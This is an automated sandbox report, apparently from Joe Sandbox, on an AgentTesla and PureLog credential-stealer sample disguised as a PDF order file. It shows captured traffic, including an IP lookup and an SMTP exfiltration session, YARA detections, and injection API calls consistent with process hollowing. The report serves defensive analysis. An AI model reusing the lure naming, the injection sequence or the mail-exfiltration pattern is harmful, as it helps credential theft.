Apr 11, 2024 10:39:52.301964998 CEST	1289	IN	Data Raw: 74 2f 5e d6 c1 9e 91 6c ae 65 47 5d 32 39 9a 82 68 6a 52 76 f4 9d 25 97 2c 92 52 e2 c4 cc a8 5e 7a 00 5e e3 fb 54 d7 63 01 a9 a6 56 4c c4 0a 0c 96 3f 0f ba d1 17 fb d8 91 bf af b9 70 ed c9 f9 a5 e3 e2 fc 19 ad c7 37 c5 5e 2d 52 80 ef 96 bc 4a 18 Data Ascii: t/^leG]29hjRv%,R^z^TcVL?p7^-RJZe-1"8%F&F\chzF[k]#t$?vrJTkw0Zhm$!TZ4Kv<CHq@n^4vR[XBR,
Apr 11, 2024 10:39:52.302001953 CEST	1289	IN	Data Raw: 1a 7b 6b 6b 6c 3e d2 ae ad 97 2b ea d5 5d 1e d0 da 56 ab 8d fa e3 77 f2 fd f2 79 8b 7a 82 b6 39 49 6a bc c1 9c a3 ee a8 81 de 99 a9 7d 65 8a c1 5d a8 0c 8c 90 c8 fe 4a ec 65 42 96 3d a7 c7 19 8e 28 70 e9 28 41 38 b6 a9 5d 12 1b 13 80 02 dd dd 8c Data Ascii: {kkl>+]Vwyz9Ij}e]JeB=(p(A8]}f}_^D"b@^5nd3{>(O3<h@U?&baiJhR\|Gc.sS'LfPq r9m/fBmcfmF
Apr 11, 2024 10:39:52.302042961 CEST	1289	IN	Data Raw: 4f 57 8c fc 5d d0 2e 9f 14 96 ce 76 f6 3d fe a0 17 2b cf bc af af 06 1c 53 a8 af 9f d1 a4 c3 0a 12 39 ee 91 03 17 26 c5 a1 ad 80 41 16 39 b1 5c a2 6a 6d ad 32 39 2c 1e 4c 3c 6d c9 82 f5 7f a2 c5 28 d0 da e4 1f 9d 28 a1 3a de 1b e5 15 a2 1e 5f cb Data Ascii: OW].v=+S9&A9\jm29,L<m((:_IPvMnQd]CU1GVa+Jx=%HM=I!c=Qk9Q [mE{ca_\P&ws .aYtb@VyHXjSZ
Apr 11, 2024 10:39:52.302088022 CEST	1289	IN	Data Raw: 88 0e 10 69 ae 48 8e 71 80 43 1b 12 28 f3 dd c4 78 93 00 94 5f ee 7c 23 b0 11 25 f1 42 b9 2a 28 96 19 32 63 db 87 26 fb bc 57 40 fb 80 b5 d8 8e 7c 7b de 5d 86 3d c0 7b a8 94 06 ce 35 60 79 4b 07 29 cb c3 72 32 ff dc 59 6e 0a 41 51 64 a9 95 12 7d Data Ascii: iHqC(x_\|#%B(2c&W@\|{]={5`yK)r2YnAQd}R"g1m0F69Qt)g~"KC8qH:%bPg0{B&%>=?7a)IIU!RiK91<T
Apr 11, 2024 10:39:52.302128077 CEST	1289	IN	Data Raw: b5 97 bc c6 06 96 b3 e7 33 dc a9 9a ed ee d9 07 01 58 c3 55 8e 6d 0b c5 19 99 65 88 a7 62 a0 81 6b ec 2c 02 24 35 2c 78 19 b4 7b 95 3d a7 7e d1 f5 55 aa 4e 7b bb fb e1 bf a0 fb 63 de 67 be f0 96 de ac ef 7d a5 b8 18 ce 51 6a c6 74 35 3f 3e 1c ae Data Ascii: 3XUmebk,$5,x{=~UN{cg}Qjt5?>_-~p3Pg#]$^\em6"zCxJy:mMW./E'QYiP\VXrH+I&T~MJ!2/AC_'<On](/(3$v

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49713	172.67.74.152	443	4332	C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 08:40:35 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-11 08:40:35 UTC	211	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 08:40:35 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8729ac3829437279-EWR
2024-04-11 08:40:35 UTC	14	IN	Data Raw: 31 35 36 2e 31 34 36 2e 33 36 2e 31 39 37 Data Ascii: 156.146.36.197

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Apr 11, 2024 10:40:37.900078058 CEST	587	49714	185.169.24.118	192.168.2.5	220 sasl116.shellrent.com ESMTP Postfix (Debian/GNU)
Apr 11, 2024 10:40:37.900343895 CEST	49714	587	192.168.2.5	185.169.24.118	EHLO 849224
Apr 11, 2024 10:40:38.064521074 CEST	587	49714	185.169.24.118	192.168.2.5	250-sasl116.shellrent.com 250-PIPELINING 250-SIZE 40960000 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 11, 2024 10:40:38.064739943 CEST	49714	587	192.168.2.5	185.169.24.118	STARTTLS
Apr 11, 2024 10:40:38.228899002 CEST	587	49714	185.169.24.118	192.168.2.5	220 2.0.0 Ready to start TLS

Target ID:	0
Start time:	10:39:50
Start date:	11/04/2024
Path:	C:\Users\user\Desktop\New order -24900242 OP_pdf .exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\New order -24900242 OP_pdf .exe"
Imagebase:	0xa90000
File size:	283'648 bytes
MD5 hash:	DEB84C3C4EA80CE056FA8A91952D8644
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2439632203.0000000006330000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2440506469.0000000006D11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2440506469.0000000006D11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2440506469.0000000006D11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2428175069.0000000004BE8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2428175069.0000000004BE8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2423332110.0000000003087000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2423332110.0000000003087000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2428175069.000000000487B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2435951249.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2428175069.0000000004179000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:40:33
Start date:	11/04/2024
Path:	C:\Users\user\Desktop\New order -24900242 OP_pdf .exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\New order -24900242 OP_pdf .exe"
Imagebase:	0x7b0000
File size:	283'648 bytes
MD5 hash:	DEB84C3C4EA80CE056FA8A91952D8644
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3231373178.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3231373178.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3228605028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3228605028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3231373178.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3231373178.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 06CDDDD8 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

Ddq, xrefs: 06CDDEDD

Memory Dump Source

Source File: 00000000.00000002.2440330650.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID: Ddq
API String ID: 0-562783569
Opcode ID: f927980406bd1b25aed91e419e2b1185996a7bae0adb114424c42943b9ba1adc
Instruction ID: ceb53d94c2b3d12a09f7c56771f250c4f48d966c468f554642b465e8b7a72e6b
Opcode Fuzzy Hash: f927980406bd1b25aed91e419e2b1185996a7bae0adb114424c42943b9ba1adc
Instruction Fuzzy Hash: EAD1D274E01219CFDB58DFA9D994B9DBBB2BF88300F1081A9D509AB365DB31AD81CF41

Uniqueness

Uniqueness Score: -1.00%

Function 06CDF288 Relevance: 4.1, Strings: 3, Instructions: 370COMMON

Download Yara Rule

Strings

4']q, xrefs: 06CDF601
4']q, xrefs: 06CDF4A2
4']q, xrefs: 06CDF581

Memory Dump Source

Source File: 00000000.00000002.2440330650.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q
API String ID: 0-705557208
Opcode ID: 8a63af79eccead2ebdfef5f25c5293365d48c554dba740a4adde5fcb741a5cc4
Instruction ID: a1215e736a2266248bd75c8aa12e1600e21052e1a4294ce84b79626d00757a03
Opcode Fuzzy Hash: 8a63af79eccead2ebdfef5f25c5293365d48c554dba740a4adde5fcb741a5cc4
Instruction Fuzzy Hash: 23F1E834A50219DFCB58DFA4D998A9DBBB2FF88300F118158E916AB365DB71EC42CF50

Uniqueness

Uniqueness Score: -1.00%

Function 011F07F0 Relevance: 2.6, Strings: 2, Instructions: 136COMMON

Download Yara Rule

Strings

Te]q, xrefs: 011F092C
Te]q, xrefs: 011F0919

Memory Dump Source

Source File: 00000000.00000002.2422647910.00000000011F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11f0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: a85323eef80063d458ad07495b43cf38a046a49b0326791789b103056ae0e0cf
Instruction ID: 9c0b29fb14232b5ea6b39efaea2b84d69ee12cf6396cf44b1e357e83707b10b1
Opcode Fuzzy Hash: a85323eef80063d458ad07495b43cf38a046a49b0326791789b103056ae0e0cf
Instruction Fuzzy Hash: 5141C270E053449FDB09DF78D8646AD7BA3AF89304F16049EE542AB3A2CB744D06C796

Uniqueness

Uniqueness Score: -1.00%

Function 011F0848 Relevance: 2.6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

Te]q, xrefs: 011F092C
Te]q, xrefs: 011F0919

Memory Dump Source

Source File: 00000000.00000002.2422647910.00000000011F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11f0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: 01e6ef3c9e5ced54d2175bdaaf65849d7acd7bc3e0520c77ca07cc588379e59d
Instruction ID: bc425148d25a80c0f9458b5ef040343a579c5e5c913e2efe9444f92fa4dd37d4
Opcode Fuzzy Hash: 01e6ef3c9e5ced54d2175bdaaf65849d7acd7bc3e0520c77ca07cc588379e59d
Instruction Fuzzy Hash: 0B319270F00208DBDB0CEF69D8547AD7AE3AB8C700F55052DE206A73A5CF745D018B82

Uniqueness

Uniqueness Score: -1.00%

Function 011F088D Relevance: 2.6, Strings: 2, Instructions: 73COMMON

Download Yara Rule

Strings

Te]q, xrefs: 011F092C
Te]q, xrefs: 011F0919

Memory Dump Source

Source File: 00000000.00000002.2422647910.00000000011F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11f0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: 6b35a01dd7e47aca65cac88d70dff13064bfd39867cd65248b7e51872ae95262
Instruction ID: 1dd51be1ed391903607ced51ef7bf17fabf8b3fe75df68116f499cebf03dcf98
Opcode Fuzzy Hash: 6b35a01dd7e47aca65cac88d70dff13064bfd39867cd65248b7e51872ae95262
Instruction Fuzzy Hash: 1F216B70B002099FCB08EFA9C5957ADBAE3AF88704F64452DE106AB3A5CF745D06CB81

Uniqueness

Uniqueness Score: -1.00%

Function 011F08B3 Relevance: 2.6, Strings: 2, Instructions: 67COMMON

Download Yara Rule

Strings

Te]q, xrefs: 011F092C
Te]q, xrefs: 011F0919

Memory Dump Source

Source File: 00000000.00000002.2422647910.00000000011F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11f0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: 18fe116598a1c91abaddd2788044ba377353754af206dcb48b7d65b0b500c499
Instruction ID: dbcd9f9bf1a3a4a7f4e71b38757728ba52b4e327bacb59b7d87c09249c36bb9e
Opcode Fuzzy Hash: 18fe116598a1c91abaddd2788044ba377353754af206dcb48b7d65b0b500c499
Instruction Fuzzy Hash: E8213870B001099FCB08EF69D595A6DBAE3AF88700F64492DE106EB3A5DF749D06CB81

Uniqueness

Uniqueness Score: -1.00%

Function 04DB9374 Relevance: 1.8, APIs: 1, Instructions: 266processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 04DB95E7

Memory Dump Source

Source File: 00000000.00000002.2434485695.0000000004DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4db0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 33e5c8ee5831725d1e9ae683414f8e7adde5f9460eefb2f4f3bb19b3c7bbc43e
Instruction ID: 27240629ae8cbb27b7de2c7f4286b99513d780edea0143bea088a2b4b9a86543
Opcode Fuzzy Hash: 33e5c8ee5831725d1e9ae683414f8e7adde5f9460eefb2f4f3bb19b3c7bbc43e
Instruction Fuzzy Hash: 6CA112B0D00258DFDB10CFA9C8957EDBBF1BF09304F1091AAE999A7240DB74A985CF85

Uniqueness

Uniqueness Score: -1.00%

Function 04DB9380 Relevance: 1.8, APIs: 1, Instructions: 261processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 04DB95E7

Memory Dump Source

Source File: 00000000.00000002.2434485695.0000000004DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4db0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1ec3e7ec17ff90c8d373911177fb70ab94d4de1ae5797b257415231ec5cf8e92
Instruction ID: b24837125969c7aac84c9fb1990e5ef428979b282fa6551c42d79a024c45beea
Opcode Fuzzy Hash: 1ec3e7ec17ff90c8d373911177fb70ab94d4de1ae5797b257415231ec5cf8e92
Instruction Fuzzy Hash: 94A103B0D00258DFDB10CFA9C8957EDBBF1BF09304F1091A9E999A7240DB74A985CF85

Uniqueness

Uniqueness Score: -1.00%

Function 04DBA068 Relevance: 1.6, APIs: 1, Instructions: 120injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 04DBA140

Memory Dump Source

Source File: 00000000.00000002.2434485695.0000000004DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4db0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 3751e2f90213547a4a27feed8ca5bf91546ea743c5b436e0ca0b50934335488b
Instruction ID: 6615c3495a07630b47937b6d807d8ddd66247a8f1ea923de0bf34d3162b831e8
Opcode Fuzzy Hash: 3751e2f90213547a4a27feed8ca5bf91546ea743c5b436e0ca0b50934335488b
Instruction Fuzzy Hash: 5741ABB4D012589FCB10CFA9D984AEEFBF1FF49310F14942AE419B7210D739AA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 04DBA070 Relevance: 1.6, APIs: 1, Instructions: 115injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 04DBA140

Memory Dump Source

Source File: 00000000.00000002.2434485695.0000000004DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4db0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 2b6fb866366772c6891cb0248d00223dd15cc54e7c21ad84bd6122dc0b85c02d
Instruction ID: 18a1c9a127950bf829469b0cfa3df76e587a17f61c67018ce7e0ed377004a3ab
Opcode Fuzzy Hash: 2b6fb866366772c6891cb0248d00223dd15cc54e7c21ad84bd6122dc0b85c02d
Instruction Fuzzy Hash: 3F419AB5D012589FCB00CFA9D984AEEFBF1BB49310F10902AE419B7310D739AA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 04DB9DA8 Relevance: 1.6, APIs: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 04DB9E5A

Memory Dump Source

Source File: 00000000.00000002.2434485695.0000000004DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4db0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 040a05edea91893775f47bec647ed131ec883e95874d1d1abc63e81ccb27ddd6
Instruction ID: d6a247e30eb250caeb38536c50f3a5283698b61302743d567729fa9400e0d1b3
Opcode Fuzzy Hash: 040a05edea91893775f47bec647ed131ec883e95874d1d1abc63e81ccb27ddd6
Instruction Fuzzy Hash: A13188B4D002589BCF10CFA9D984A9EBBB1FB59310F10942AE915B7210D735A941CF95

Uniqueness

Uniqueness Score: -1.00%

Function 04DB9DB0 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 04DB9E5A

Memory Dump Source

Source File: 00000000.00000002.2434485695.0000000004DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4db0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 949ad18114112099db95748bb6a1cf0f8aed508d8eff58fae247a1c765a1cc20
Instruction ID: 1f93da0a26a183db6d7b22c008700469c95650a82f6c9b1b7abdf03a4098768f
Opcode Fuzzy Hash: 949ad18114112099db95748bb6a1cf0f8aed508d8eff58fae247a1c765a1cc20
Instruction Fuzzy Hash: BD3198B8D00258DBCF10CFA9D984ADEFBB1FB49310F10902AE815B7210D735A941CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 04DB9728 Relevance: 1.6, APIs: 1, Instructions: 97threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 04DB97DF

Memory Dump Source

Source File: 00000000.00000002.2434485695.0000000004DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4db0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: b15a2b440ceeaf4428719af75ca397d32ec5be4b4f3d6a2579e2a1d78856c554
Instruction ID: 233579e5509d2ebc1a509e09ebb9b44c8e1070d0e78482de8c3b89bda60753eb
Opcode Fuzzy Hash: b15a2b440ceeaf4428719af75ca397d32ec5be4b4f3d6a2579e2a1d78856c554
Instruction Fuzzy Hash: 9041BCB4D002589FCB10CFA9D885AEEBBF1BF49310F24802AE459B7240D739A985CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04DB9730 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 04DB97DF

Memory Dump Source

Source File: 00000000.00000002.2434485695.0000000004DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4db0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: e490e23e30c34b7bd05769a20105ff5ff98ae27fc218c4bf3fd962176cab9a9c
Instruction ID: 61cd77323c84fd6779c8a2bcf5ab2fb4062d14bb084d1e5d4b8b8f4a30f5a955
Opcode Fuzzy Hash: e490e23e30c34b7bd05769a20105ff5ff98ae27fc218c4bf3fd962176cab9a9c
Instruction Fuzzy Hash: BC31ABB4D002589FCB10DFA9D884AEEBBF1BB49310F24806AE419B7240D738A945CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04DBA402 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(?), ref: 04DBA486

Memory Dump Source

Source File: 00000000.00000002.2434485695.0000000004DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4db0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: b376fdda5c4f4bfecee093d8090bb82b3f77ae531cfecfc16390e5e1e189582e
Instruction ID: 92e840ffa43a8070a4be9b8aaea5de6aefedaefe83bb0e7ae99251a12fbaeb7d
Opcode Fuzzy Hash: b376fdda5c4f4bfecee093d8090bb82b3f77ae531cfecfc16390e5e1e189582e
Instruction Fuzzy Hash: 9D3198B4D012189FCB14DFA9D985AEEFBB5BF49310F10942AE419B7310D735A941CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 04DBA408 Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(?), ref: 04DBA486

Memory Dump Source

Source File: 00000000.00000002.2434485695.0000000004DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4db0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 8bacaa59c0f13f78a3b5a18fdca3f1cf72e4b5cfab8e6fbe37e738e1b899f342
Instruction ID: fe92ff169117ccd3094fbf6e72a46913717c2d2260403ce0b52c4c860cac768b
Opcode Fuzzy Hash: 8bacaa59c0f13f78a3b5a18fdca3f1cf72e4b5cfab8e6fbe37e738e1b899f342
Instruction Fuzzy Hash: 213198B4D012189FCB14DFAAD985AEEFBB5BB49310F10942AE819B7310D735A941CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06CC76D2 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

w, xrefs: 06CCC7C0

Memory Dump Source

Source File: 00000000.00000002.2440330650.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID: w
API String ID: 0-476252946
Opcode ID: 215149059340345622206960c88449007236cd3164227122070e4bc181253391
Instruction ID: 6b781a4e049bf14fb9ebc99bb30c4db3cbf984b469331bbec3d841acb3668f4c
Opcode Fuzzy Hash: 215149059340345622206960c88449007236cd3164227122070e4bc181253391
Instruction Fuzzy Hash: 4931F470E4622ACFEB78DF18D948B99B7B5BB45318F0040E9C519A7241D7755E84CF40

Uniqueness

Uniqueness Score: -1.00%

Function 06CDAC60 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2440330650.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32a1e014488e090a60f1fda5d62cd58317d5d10ecdcf0361189e76437a333ac2
Instruction ID: 5c9f7b941dfbea2b78a293905f75dc834da99bc17f41ccca48930f66f82e5996
Opcode Fuzzy Hash: 32a1e014488e090a60f1fda5d62cd58317d5d10ecdcf0361189e76437a333ac2
Instruction Fuzzy Hash: 92711574E45218CFDB44EFE9E4846EDBBB2FB88311F108029E616AB354CB755945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06CDFBA0 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2440330650.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9df2ef52ea22f59ea7a441cd109e6b3fd0e015f92583936b74eefb3fb35876af
Instruction ID: 8e910652dc23f223b6d63e9dff9dda89e1445344cde156fd30ddc27e2578ac87
Opcode Fuzzy Hash: 9df2ef52ea22f59ea7a441cd109e6b3fd0e015f92583936b74eefb3fb35876af
Instruction Fuzzy Hash: 9F3109327046149FC375AB69E45096ABBE5FFC1350B1584BEEA5FCB262CB21EC41C790

Uniqueness

Uniqueness Score: -1.00%

Function 011F09FF Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2422647910.00000000011F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11f0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3ef5c0ad478b6372a496ed4dca63e49f916c03a15579f3076d220d13a0ab63f
Instruction ID: ecf9a228d30b17a28793c174aabf06642f1383424f8d466002583dabe5332e95
Opcode Fuzzy Hash: b3ef5c0ad478b6372a496ed4dca63e49f916c03a15579f3076d220d13a0ab63f
Instruction Fuzzy Hash: 3B312A34A01609CFCB1CCBADC59499DBBB2FF4C300F199659F602E7262D730E8858B52

Uniqueness

Uniqueness Score: -1.00%

Function 0109D01C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2422435173.000000000109D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0109D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_109d000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5bf3bf26da43c269c44b0336395a88f4af3d2cfe6f75cf35364a737f6eb9a61
Instruction ID: 24c1511212588197564b539ab9e085fc83acb5fb3e48447d6d836ce368389ee5
Opcode Fuzzy Hash: b5bf3bf26da43c269c44b0336395a88f4af3d2cfe6f75cf35364a737f6eb9a61
Instruction Fuzzy Hash: AE213371584200DFCF15DF58D994B2ABFA5FBC4350F20C5A9E9890B242C33AC406D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 011F0A18 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

